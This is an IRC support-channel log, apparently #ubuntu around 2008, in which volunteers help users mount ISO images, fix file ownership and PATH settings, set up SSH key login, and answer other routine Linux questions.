[22:54] <jrib> Palace_Chan: yep, it's a command
[22:54] <DracoSilverscar> hey all i'm looking for a program to mount a cd image what should i get?
[22:54] <jrib> !iso | DracoSilverscar
[22:54] <earthmeLon> mount
[22:54] <keyro90> acetoneISO draco
[22:54] <Palace_Chan> jrib, it replied saying "palace is an invalid group" which is strange because all my other files are palace palace and not palace root
[22:55] <Palace_Chan> i ran: "chgrp -R palace bin/
[22:55] <keyro90> or mount yea, but it's more difficult
[22:55] <jrib> Palace_Chan: what bin is that?
[22:55] <emilien> sorry , need help with keyboared probs
[22:55] <Palace_Chan> jrib, it is a binary for an ocaml installation
[22:55] <Palace_Chan> jrib,  a directory of binaries
[22:56] <eirik_> jrib: i see. well, my changes seem to have no effect. i tried added SHMConfig option to my synaptics touchpad. as a test i also tried disabling the touchpad with "TouchpadOff".  my serverlayout inputdevice is also set to Synaptics Touchpad
[22:56] <recon69> somthing very weird going on on my network, I'm the only person on it and yet there has been 35mb of traffic in the last 30 min.
[22:56] <Palace_Chan> jrib, see i ran make install as root and the directory with libs and bins and man became root owned..i used chown -R to change ownernship back to me
[22:56] <eirik_> jrib: if i am running failsafe, is there a way to know? like bootlog - i would read it, but dont know where its hiding :)
[22:56] <jrib> eirik_: how did you restart the server?
[22:56] <Palace_Chan> jrib, i changed them from displaying root root to palace root, but i cant get it to say palace palace upong ls -l
[22:56] <jrib> eirik_: you would know, it would give you a popup
[22:56] <eirik_> jrib: ctrl-alt-backspace, and also several full reboots
[22:57] <eirik_> jrib: ok
[22:57] <DracoSilverscar> erm.. didn't work
[22:57] <jrib> Palace_Chan: if 'palace' is a group, it should work
[22:58] <Palace_Chan> jrib, palace is my user, doesnt sound like a group although when i run ls -l on most of my other home directory files they display as palace palace
[22:58] <jrib> Palace_Chan: you get the same thing if you do 'chown :palace bin'?
[22:59] <Palace_Chan> jrib, i was able to chown from root root to palace root
[22:59] <jrib> eirik_: checked /var/log/Xorg.0.log to see what the server is thinking?
[22:59] <eirik_> jrib: ah thanks yea i wouldve already if i knew where to look :) will see
[23:00] <emilien> is there to only use xorg conf for keyboard
[23:00] <emilien> there way*
[23:01] <Palace_Chan> jrib, found my mistake srry it was a freakin typo
[23:01] <bart1105> good day to all...
[23:01] <recon69> how do i find the HW address of my gateway?
[23:02] <recon69> never mind
[23:02] <Red13_> so I take it none knows how to get system programs "Synaptic" to use current themes instead of default theme?
[23:02] <sherif> hi
[23:02] <bart1105> is there an advantage if i use the 64-bit version of ubuntu compared to the 32 bit on a 64-bit proc? thanx
[23:03] <jrib> bart1105: you can use more ram
[23:03] <DracoSilverscar> according to three different downloads acetoneISO doesn't exist... they're all just a text file in a rar archive
[23:03] <DracoSilverscar> or a tar.gz archive
[23:03] <jrib> DracoSilverscar: why aren't you just using mount?
[23:04] <DracoSilverscar> because it won't work ;p
[23:04] <jrib> DracoSilverscar: why?
[23:04] <DracoSilverscar> came up telling me that it wasn't a valid command
[23:04] <jrib> DracoSilverscar: paste what you ran
[23:04] <Red13_>  /msg ubottu etiquette
[23:05] <joshuajtl> hi folks, is there anyway to install ubuntu on kubuntu without having one DE see (or at least share apps) with the other?
[23:05] <DracoSilverscar> i did exactly what it told me earlier
[23:05] <jrib> DracoSilverscar: I can't see what you type
[23:05] <jrib> !who | DracoSilverscar
[23:05] <DracoSilverscar> it was a while ago
[23:05] <bart1105> jrib: is that the only advantage? it won't be a bit faster?
[23:05] <jrib> bart1105: I don't see why
[23:06] <DracoSilverscar> jrib ahh right...
[23:06] <bart1105> jrib: oh ok... thanx what version are you using??
[23:06] <jrib> DracoSilverscar: by the way, if you google "acetoneiso" you'll get their homepage with a working download.  But mount will work fine
[23:06] <recon69> going to fire up warzone 2100 and see how long before ubuntu crashes
[23:06] <ErikWestrup> I only get noise in my speakers and I've tried all regulators in ALSAMIXER. How do I get sound?
[23:07] <DracoSilverscar> jrib: i tried that download and it was just a text file in a tar.gz file
[23:07] <Palace_Chan> how do i add a directory to my PATH ?
[23:07] <jrib> bart1105: 64bit.  Really, a desktop user will only have a problem with the sun java plugin for the browser as sun doesn't have one yet for 64bit (the bug on their tracker is several years old)
[23:07] <jrib> DracoSilverscar: click on it, don't right click download.  It takes you to sourceforge
[23:07] <Jordan_U> Palace_Chan: PATH=$PATH:/your/directory/here
[23:08] <Palace_Chan> Jordan_U, is that diff from using export ?
[23:08] <ErikWestrup> Jordan_U: But you must put that to yout .bashrc right? Because otherwise it won't be save after reboot
[23:08] <selew> hi to all
[23:08] <DracoSilverscar> jrib: thats what i did...  either way whats the mount command i'll give that another shot...
[23:08] <Palace_Chan> ErikWestrup, yes i think i have to put path info on the .bashrc file
[23:08] <dextervip> how can i add vsftpd on boot?
[23:08] <selew> i have problem with firefox and embeded videos in sites
[23:08] <jrib> DracoSilverscar: the download works fine for me.  It's definitely an issue on your end
[23:09] <selew> nothing is playing....
[23:09] <Jordan_U> Palace_Chan: Export makes the change of $PATH propagate to the programs run in that shell
[23:09] <DracoSilverscar> jrib: oh well i'll sort that later
[23:09] <jrib> !iso | DracoSilverscar
[23:09] <CrocoJet> how can I change "usplash" of ubuntu 8.04 ? I like more blue ...
[23:09] <selew> can anyone here what should i do?
[23:09] <Palace_Chan> Jordan_U, and path= will add that to the path or replace any previous paths ?
[23:09] <jrib> !usplash > CrocoJet
[23:10] <jrib> CrocoJet: not sure if that's up to date though
[23:10] <joshuajtl> is latest ubuntu still 8.04.1 ?
[23:10] <jrib> joshuajtl: yes
[23:10] <DracoSilverscar> ok... it might have been this... what does it mean by mount point?
[23:10] <CrocoJet> let me see
[23:10] <joshuajtl> thx jrib
[23:10] <compengi> selew, on what sites?
[23:10] <jrib> DracoSilverscar: you need to create a directory somewhere to be your mountpoint
[23:10] <selew> www.liako.gr
[23:10] <DracoSilverscar> jrib: not sure how that works o..o
[23:10] <selew> is a site that i can not see the video
[23:11] <Palace_Chan> ugh i dont even see a place where it says "path" in my .bashrc file
[23:11] <selew> http://www.liakotv.gr/index8t.php?s=3
[23:11] <jrib> DracoSilverscar: do you know how to create a directory?
[23:11] <Jordan_U> Palace_Chan: PATH=/whatever alone will replace your current $PATH with "/whatever" That is why to add a directory to your PATH you do PATH=$PATH:/whatever
[23:11] <jrib> Palace_Chan: because you haven't written it yet :)
[23:11] <emilien> when i login keyboard fine , but when gome starts it adds num pad to keyboared any ideas
[23:11] <netsurf3> can someone help me fix this stuttering audio in virtualbox 2.0 please?
[23:11] <Palace_Chan> Jordan_U, where does it go in the .bashrc file then ? anywhere ?
[23:12] <compengi> selew, you need to see what they use to stream. so that you can install a firefox plugin
[23:12] <AthlonFanboy> is better to use ext3 or ext2 on a ssd?
[23:12] <netsurf3> i have tried alsa and pulseaudio both methods stutter
[23:12] <DracoSilverscar> jrib: i'm pretty sure i can but i'm not quite wrapping my head around what to do properly i think... could you give me an example? >..<
[23:12] <compengi> selew, because it's not flash nor java
[23:12] <Jordan_U> Palace_Chan: Yes, anywhere will work
[23:12] <selew> compengi: the exactly address is :http://www.liakotv.gr/index8t.php?s=3
[23:12] <kaRnA> In ubuntu, it tries to connect saying attempting to connect then it doent connect, but in windows i m able to use same wireless network.
[23:12] <Dailexgo> mmm
[23:13] <Phantomas> hello when i am trying to open an mp3 with double click rhythmbox will open but wont play the song i double clicked
[23:13] <esperegu_> how to monitor the cpufrequency ( /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_cur_freq ) on the command line?
[23:13] <jrib> DracoSilverscar: the mountpoint is just where your iso ends up.  So for example: sudo mkdir /media/my_cool_iso   to create the mountpoint, and then: sudo mount -o loop file.iso /media/my_cool_iso
[23:13] <compengi> selew, i've checked them. you need some plugin which firefox can't recognize it automatically. which means you need to see what they use, and install it manually
[23:13] <CrocoJet> going to test
[23:13] <selew> thanks compengi
[23:13] <selew> thanks a lot
[23:13] <compengi> selew, no problem
[23:14] <r2q2> kaRnA: What chipset is your wireless card.
[23:14] <DracoSilverscar> and it tells me the iso file isn't there
[23:14] <jrib> DracoSilverscar: where is your iso file?
[23:14] <powertool08> why do some dest/src ip's flash in wireshark?
[23:14] <DracoSilverscar> jrib: in a folder on the desktop
[23:15] <jrib> DracoSilverscar: you need to give the proper path to your iso.  Probably something like ~/Desktop/name_of_iso.iso
[23:15] <fezazda> hi all, while using evolution + spamassassin plugin, i try to read the spamassassin logs (rules, score..Etc) didn't succeed
[23:15] <DracoSilverscar> jrib: that would do it... gotta wonder why i forgot that but anyways hang on
[23:16] <bart1105a> what app can i use to take picture or record vides from my webcam in ubuntu?
[23:16] <LORENZO> q pasa aka
[23:16] <LORENZO> >8(
[23:16] <look> hwdp
[23:16] <LORENZO> xD
[23:16] <DracoSilverscar> jrib: still says it doesn't exist
[23:17] <LORENZO> ¬¬
[23:17] <fezazda> someone succeed to see spamassassin logs ?
[23:17] <jrib> DracoSilverscar: pastebin your command and the result of 'ls ~/Desktop/'
[23:17] <LORENZO> q pingo dicen ?
[23:17] <DracoSilverscar> dracosilverscar@Saphira:~$ sudo mount -o loop desktop/Spore-RELOADED/rld-spor.iso /desktop/Spore-RELOADED
[23:17] <DracoSilverscar> desktop/Spore-RELOADED/rld-spor.iso: No such file or directory
[23:17] <DracoSilverscar> dracosilverscar@Saphira:~$
[23:17] <LORENZO> donde concha entre?
[23:17] <xxpor> DracoSilverscar: probs not a good idea to admit you are pirating spore
[23:17] <jrib> LORENZO: english only here please.  What is your native language?
[23:18] <LORENZO> argentina
[23:18] <DracoSilverscar> i have the disk but theres an issue with it
[23:18] <jrib> DracoSilverscar: use paste.ubuntu.com, don't paste in the channel
[23:18] <LORENZO> :S
[23:18] <jrib> !es | LORENZO
[23:18] <emilien> Need help with ubuntu and a rogue keyboared
[23:18] <DracoSilverscar> gah...
[23:18] <LORENZO> ^^
[23:18] <emilien> when i login keyboard fine , but when gome starts it adds num pad to keyboared
[23:18] <LORENZO> y si yo quiero hablar español ?
[23:18] <LORENZO> xD
[23:18] <jrib> DracoSilverscar: anyway, linux is case-sensitive.  "desktop" needs to be "Desktop"
[23:18] <emilien> *gnome
[23:18] <DjBuRRo> te van a echar, es probable
[23:19] <jrib> LORENZO: /join #ubuntu-es
[23:19] <DracoSilverscar> Ahh... there are times when i wonder why i gave up windows... ;p
[23:19] <emilien>  here xorg conf http://ubuntuforums.org/showthread.php?t=911385
[23:19] <LORENZO>  Irc.ArgentinaChat.org <---------------------------------
[23:20] <Flycaster> hi to everyone
[23:20] <DracoSilverscar> jrib: mount point does not exist still
[23:21] <jrib> DracoSilverscar: pastebin...
[23:21] <Flycaster> i've a problem during ubuntu 8.04 installation on my notebook. I cannot create partition on ntfs drive, the installation programm give me this error: damaged cluster on device sda1
[23:21] <DracoSilverscar> the same thing with capitals ;p
[23:21] <emilien> anyone  i don't wana re-intall
[23:21] <DracoSilverscar> where they should be
[23:21] <jrib> DracoSilverscar: please pastebin, it's easier for everyone
[23:22] <Jordan_U> Flycaster: Maybe you should check your drive
[23:23] <DracoSilverscar> jrib: http://paste.ubuntu.com/43758/
[23:23] <Flycaster> Jordan_U: the installation program suggest to do under windows chkdsk /f /r, i do that but nothing change...
[23:23] <jrib> DracoSilverscar: what directory did you create to be your mount point?
[23:23] <emilien> please help me with rogue keyboared
[23:24] <DracoSilverscar> jrib: the one the ISO is in...
[23:24] <jrib> DracoSilverscar: you need to *create* an empty directory. run:  sudo mkdir /media/iso
[23:24] <emilien> please help me with rogue keyboared
[23:25] <compengi> !repeat > emilien
[23:25] <DracoSilverscar> jrib: it worked aparently but it gave me an error anyways...
[23:25] <jrib> DracoSilverscar: want to tell me the error? :P
[23:25] <compengi> lol
[23:26] <compengi> jrib, he's shy :P
[23:26] <DracoSilverscar> jrib: mount point doesn't exist ;p
[23:26] <DracoSilverscar> but it is there and it is mounted
[23:26] <powertool08> Who is willing to take on a daunting task? I can't mount a blank cd unable to create io-slave
[23:26] <jrib> DracoSilverscar: run: sudo mount -o loop ~/Desktop/Spore-RELOADED/rld-spor.iso /media/iso
[23:26] <DracoSilverscar> jrib: now it won't let me run it :D
[23:26] <arooni-mobile>  is there a utility to turn a html page => pdf document?
[23:27] <toorima> anyone know of a way to sync tomboy notes with any note app on the iphone?
[23:27] <jrib> arooni-mobile: file -> print   then print as pdf.  Might need cupsys-pdf
[23:27] <jrib> DracoSilverscar: what does it do?
[23:27] <emilien> compengi,  alright just desperate
[23:27] <Theaxiom> I am trying to compile something and I am getting this error, what does it mean? "cannot find -lXaw"
[23:27] <toorima> maybe tomboy to zenbe, zenbe to iphone app or something like it?
[23:28] <DracoSilverscar> jrib: it tells me i don't have permission to run it ;p which means i need to be in SU to run the file...
[23:28] <Agent_bob> can someone please tell me what files are requited on a remote host for sshkey login to work ?    i know that ~/.ssh/authorized_keys is needed   but what else ?
[23:28] <ErikWestrup> how do I check what groups I'm in?
[23:28] <jrib> DracoSilverscar: pastebin
[23:28] <jrib> ErikWestrup: groups
[23:28] <Agent_bob> ErikWestrup group
[23:28] <Agent_bob> s
[23:28] <compengi> Theaxiom, could you pastebin the last part were the error start?
[23:28] <compengi> starts*
[23:28] <ndo> Guys, anyone, whats the difference between "apt-get" and "aptitude" ?
[23:28] <DracoSilverscar> jrib: i can't theres nothing to copy... it just says "you do not have permission to run this file"
[23:29] <Theaxiom> compengi: I did some googling and it says I need the X developer or static libraries. How do I get those?
[23:29] <jrib> ndo: different front-ends.  aptitude also has a curses interface
[23:29] <ErikWestrup> Agent_bob: thanks!
[23:29] <jrib> DracoSilverscar: copy the command and the error onto pastebin
[23:29] <Agent_bob> ndo a buck two nindy five       they say aptitude has better conflict resolution
[23:29] <ndo> jrib: and curses is?
[23:29] <DracoSilverscar> jrib: theres no command ;p it's an autorun file
[23:29] <jrib> ndo: like a gui that runs inside your terminal
[23:29] <jrib> DracoSilverscar: oh, it's already mounted then?
[23:29] <DracoSilverscar> the second it was mounted it tried to run
[23:29] <meoblast001> is it possible to disc defrag in ubuntu or is that not necessary?
[23:29] <DracoSilverscar> yeah
[23:29] <danbhfive> how does one remove hardlinks?
[23:30] <no__name> hi guys i need some help with alsa do you know any channel for that?
[23:30] <jrib> danbhfive: rm
[23:30] <balle_> how do i uninstall a session i've installed like kde or something
[23:30] <Agent_bob> danbhfive rm
[23:30] <ndo> Agent_bob: ty, and i tough that they were the same
[23:31] <danbhfive> jrib: Agent_bob mk
[23:31] <Babbleback> is there a way to give a running program superuser access?
[23:31] <Theaxiom> compengi: sudo apt-get install xorg-dev (found it, thanks)
[23:31] <carddstroker> Odd question I know, but I need help fixing my wife's Windows Vista laptop, can somebody tell me what channel to get help on?
[23:32] <gutterpunk> Hi! I have an issue with getting my wireless network to work. Everything appears to work fine, the ipw2200 driver loads, I see traffic on my AP, but I don't see any connections in the network-manager applet.
[23:32] <H__> Babbleback not that I know
[23:32] <gutterpunk> When I run kismet I can see my network just fine... Does anyone know what's up with this? I've had this problem with either debian and ubuntu
[23:33] <compengi> Theaxiom, there is also xserver-xorg-dev, don't know the difference between them though
[23:33] <DracoSilverscar> jrib: it's mounted but it tells me i don't have permission to run the file
[23:33] <Theaxiom> compengi: Thanks
[23:33] <compengi> Theaxiom, could be some additional libraries
[23:33] <MolePrince> Hello.  May someone please recommend a simple network monitoring tool?  I have half a dozen servers to keep an eye on and would like to maintain visibility to load, uptime, disk use, traffic, &c
[23:35] <compengi> MolePrince, gkrellm is a good one
[23:36] <christophe59500> hi
[23:36] <MolePrince> compengi: Most of my servers are headless console boxes..
[23:36] <jrib> DracoSilverscar: what are you trying to run?
[23:36] <powertool08> When I try to mount a blank cd dolphin says could not start process Unable to create io-slave: klauncher said: unknown protocol ''.. Whats causing this?
[23:36] <Agent_bob> can someone please tell me what files are requited on a remote hostfor sshkey login to work ?    i know that ~/.ssh/authorized_keys is needed   but what else ?    it keeps asking me for a password...    ???
[23:36] <MolePrince> compengi: So I want to monitor them all from one place.
[23:36] <christophe59500> i want install centos on domU but there a bug, can you explain this -> https://bugs.launchpad.net/ubuntu/+source/rpmstrap/+bug/148005
[23:36] <DracoSilverscar> jrib: it autoruns the launcher when the image is mounted
[23:36] <compengi> MolePrince, i see
[23:37] <jrib> DracoSilverscar: yeah, so skip that, do whatever you want to do manually
[23:37] <DracoSilverscar> jrib: the autorun is what i want to do ;p there are no files i can run manually XD
[23:38] <jrib> DracoSilverscar: the autorun runs something...
[23:38] <christophe59500> ubottu, but you help me, because, i don't understand
[23:38] <powertool08> Agent bob, you need key pair, cat the pubkey to authorized_keys on the remote host, private key on your local host in ~/.ssh/id_rsa
[23:38] <harmattan> Hi. Does anybody knows what happened to Gobuntu? Are there still plans for a whole free system?
[23:38] <Agent_bob> powertool08 yes authorized_keys is correct
[23:38] <DracoSilverscar> jrib: not that i can find o..o
[23:39] <Agent_bob> powertool08 remote doesn't need id_rsa does it ?
[23:39] <compengi> harmattan, http://www.ubuntu.com/products/whatisubuntu/gobuntu
[23:39] <jrib> DracoSilverscar: read the autorun.inf or whatever it is called
[23:40] <christophe59500> any one help me for https://bugs.launchpad.net/ubuntu/+source/rpmstrap/+bug/148005
[23:40] <powertool08> Agent_bob: no I don't think so
[23:40] <DracoSilverscar> jrib: there is none... it just has 2 folders... contents and then it takes me to the files for mac and the files for PC
[23:40] <jrib> DracoSilverscar: check wine's appdb
[23:40] <Agent_bob> powertool08 hmmm i must have a misconfigured sshd_conf then
[23:40] <ech0dish> how do i log boot up
[23:41] <jrib> !appdb | DracoSilverscar
[23:41] <ech0dish> i am having a strange issue
[23:41] <powertool08> Agent_bob: well, it needs id_rsa.pub to check the private key against
[23:41] <DracoSilverscar> jrib: i get the feeling i got a bad copy... how do i unmount something?
[23:41] <jrib> DracoSilverscar: sudo umount /media/iso
[23:41] <Agent_bob> powertool08 </blinks> ?
[23:41] <tenbytes> hey--is it better to dual boot windows or install it with virtual machine or whatever--this pc has 1gb ram
[23:41] <DracoSilverscar> jrib: alright just a sec
[23:42] <compengi> ech0dish, you should find it in system>administration>system protocol
[23:43] <Agent_bob> powertool08 i thought id_rsa.pub local was checked against authorized_keys remote   with incription from id_rsa local  ?
[23:43] <Agent_bob> am i all wet ?
[23:43] <harmattan> compengi: Thanks. I know the page, but I don't see any movement since 7.10. Is it still alive or near dead? I mean, are they leaving the project because gnewsense?
[23:44] <powertool08> Agent_bob: when I set mine up, I generated a key pair on the remote host I wanted to log into, cat the id_rsa.pub to authorized_keys of the user I would log in as, put id_rsa (private key) on my usb drive, then connect from my laptop with ssh -i /path/to/usb/id_rsa user@host
[23:44] <powertool08> Agent_bob: and make sure your /etc/ssh/sshd_config has "pubkey_authentication yes"
[23:45] <tony_>  
[23:45] <tony_>  c
[23:45] <DracoSilverscar> jrib: lovely... won't let me unmount it and the files aren't working now... >..>
[23:45] <DracoSilverscar> jrib: tells me it doesn't exist
[23:45] <jrib> DracoSilverscar: pastebin, you should know this by now :)
[23:45] <DracoSilverscar> jrib: so much simpler just to say what it's telling me... for everything... than paste the same thing a dozen times over. ;p
[23:46] <compengi> harmattan, it seems to be still alive https://wiki.ubuntu.com/GobuntuHardy
[23:46] <jrib> DracoSilverscar: then paste what it actually says in full
[23:46] <Agent_bob> powertool08 right.   i have a master key for several boxen, and it works on all of them but on some more restricted accounts i have only ~/.ssh/authorized_keys     but for one box that seems to not be enough.  so it's probably a sshd_config issue.  thanks for the input
[23:47] <powertool08> Agent_bob: if you want to pastebin your sshd_config I can compare to mine, it might turn up something?
[23:48] <R_YoYo_R> :)
[23:48] <mercutio22> Doodes, for chrisakes, I can't find my old email messages stored in evolution
[23:48] <mercutio22> ca somebody assist me?
[23:48] <catalao> hi i need some help for ltsp
[23:49] <compengi> !help > catalao
[23:49] <catalao> who can help me
[23:50] <compengi> catalao, yes?
[23:50] <MolePrince> catalao: Have you tried #ltsp ?
[23:50] <R_YoYo_R> what is ltsp?
[23:50] <R_YoYo_R> !ltsp
[23:51] <mercutio22> a little help please: http://imagebin.org/25826
[23:51] <thesaint4444> hi guys, I have a graphics package that is windows vista based, i only have one laptop (hardy heron), any problems with putting vista on and dual booting? thanks.
[23:51] <edu> Hello
[23:51] <compengi> catalao, we could chat here
[23:52] <catalao> ok
[23:52] <compengi> catalao, just state your problem and anyone that knows would help
[23:52] <edu> I'm trying to tweak my Radeon 9200SE but the config file in xorg has changed in Hardy Heron... do you know where do I have to put the options for the graphics card in this version?
[23:53] <DracoSilverscar> jrib: that is what it says in full... "file does not exist"
[23:53] <jrib> DracoSilverscar: for me to help you you need to pastebin your command and the full output
[23:53] <CrocoJet> how to change the default usplash colors in ubuntu hardy ?
[23:54] <catalao> sorry. i install a ltsp edubuntu and put terminals, but some off them break before login, and other terminals it gets about 2 minutes to login in
[23:54] <LjL> plus, not minus, meh
[23:54] <jrib> heh
[23:54] <R_YoYo_R> ahh whats going on
[23:54] <gutterpunk> Does anyone know what's going on when network-manager doesn't seem to find any wireless networks?
[23:55] <compengi> here comes the bigdady :D
[23:55] <edu> !xorg
[23:55] <Agent_bob> powertool08 it's ok.   i think i figured it out.   thanks anyway.
[23:55] <DracoSilverscar> jrib: the unmount command... followed by it telling me the file isn't there... then me trying to delete the folder... and it telling me the file isn't there... i'm going to try rebooting and see if it starts responding agian or if the files go away... well relogging...
[23:55] <Agent_bob> powertool08 it's the users shell  ;/
[23:55] <DracoSilverscar> jrib: brb
[23:55] <LjL> IF YOU COULDN'T SPEAK IN THE LAST COUPLE OF MINUTES, TRY AGAIN NOW
[23:55] <jrib> DracoSilverscar: why are you being difficult :/
[23:56] <powertool08> Agent_bob: ah
[23:56] <compengi> LjL, ping
[23:56] <DracoSilverscar> jrib: i'm telling you exactly what it did that pastebin thing is sluggish on my end because i'm on wireless net on an old router and card that doesn't work so well...
[23:56] <LjL> compengi, yes
[23:56] <jrib> DracoSilverscar: I can't help you this way.  Good luck with your issue
[23:57] <compengi> LjL, just testing :)
[23:57] <DracoSilverscar> jrib best i can get is a 1 bar connection so everything is slow...
[23:57] <Agent_bob> powertool08 i out smarted myself again.    using bin/true for a shell prevents ssh login because it starts in / and not in ~/   ;/
[23:57] <catalao> alguem escreve portugues?
[23:57] <LjL> !pt | catalao
[23:57] <Theaxiom> What is the opposite of modprobe?
[23:57] <crdlb> Theaxiom: modprobe -r
[23:57] <mercutio22> Theaxiom: rmmod
[23:57] <Theaxiom> crdlb: thx
[23:58] <Agent_bob> modprobe -r     or rmmod
[23:58] <Theaxiom> mercutio22: thx
[23:58] <jrib> Theaxiom: use modprobe -r
[23:58] <crdlb> rmmod is the opposide of insmod
[23:58] <Theaxiom> Agent_bob: thx
[23:58] <Theaxiom> jrib: thanks
[23:58] <Agent_bob> crdlb correct
[23:58] <mercutio22> hmmm
[23:58] <mercutio22> yep
[23:58] <christophe59500> centos (domU) on ubuntu (dom0)
[23:58] <christophe59500> ??
[23:58] <agento> any tools to automatically change wallpaper under gnome?
[23:58] <mercutio22> crdlb: whats the difference between insmod and modprobe?
[23:58] <R_YoYo_R> christophe59500, ?
[23:59] <Agent_bob> agento slide show ?
[23:59] <jrib> agento: wallpaper-tray is one I believe
[23:59] <thesaint4444> has anyone tried using vmware with a vista container? does it work well? thanks.
[23:59] <christophe59500> R_YoYo_R, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=359140#msg5
[23:59] <agento> Agent_bob, yes
[23:59] <crdlb> mercutio22: insmod is lower-level